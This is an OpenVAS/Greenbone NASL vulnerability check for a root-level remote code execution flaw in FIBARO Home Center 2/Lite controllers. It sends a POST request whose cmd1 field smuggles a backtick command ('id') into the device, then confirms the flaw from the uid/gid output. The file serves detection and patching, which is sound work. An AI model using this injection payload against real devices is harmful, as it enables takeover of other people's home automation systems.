FIBARO Home Center 2/Lite RCE Vulnerability

# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:fibaro:home_center";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.140420");
  script_version("2025-03-20T05:38:32+0000");
  script_tag(name:"last_modification", value:"2025-03-20 05:38:32 +0000 (Thu, 20 Mar 2025)");
  script_tag(name:"creation_date", value:"2017-09-29 15:41:18 +0700 (Fri, 29 Sep 2017)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("FIBARO Home Center 2/Lite RCE Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2017 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_fibaro_home_center_detect.nasl");
  script_mandatory_keys("fibaro_home_center/detected");

  script_tag(name:"summary", value:"FIBARO Home Center 2/Lite are prone to a remote code execution
  (RCE) vulnerability.");

  script_tag(name:"insight", value:"FIBARO Home Center 2 and Home Center Lite don't validate input correctly
  in services/liliSetDeviceCommand.php which allows an attacker to execute arbitrary commands and escalate their
  privileges to root.");

  script_tag(name:"affected", value:"FIBARO Home Center 2/Lite prior to version 4.140.");

  script_tag(name:"solution", value:"Update to version 4.140 or later.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");

  script_xref(name:"URL", value:"https://forsec.nl/2017/09/smart-home-remote-command-execution-rce/");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!get_app_location(cpe: CPE, port: port, nofork: TRUE))
  exit(0);

url = "/services/liliSetDeviceCommand.php";

data = 'deviceID=1&deviceName=&deviceType=&cmd1=`id${IFS}`&cmd2=&roomID=1&roomName=&sectionID=&sectionName=&lang=en';

req = http_post_put_req(port: port, url: url, data: data,
                        add_headers: make_array("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8",
                                                "X-Fibaro-Version", "2",
                                                "X-Requested-With", "XMLHttpRequest"));
res = http_keepalive_send_recv(port: port, data: req);

if (res =~ "uid=[0-9]+.*gid=[0-9]+") {
  result = eregmatch(pattern: "uid=[0-9]+[^']+", string: res);
  report = "It was possible to execute the 'id' command.\n\nResult:\n" + result[0];
  security_message(port: port, data: report);
  exit(0);
}

exit(99);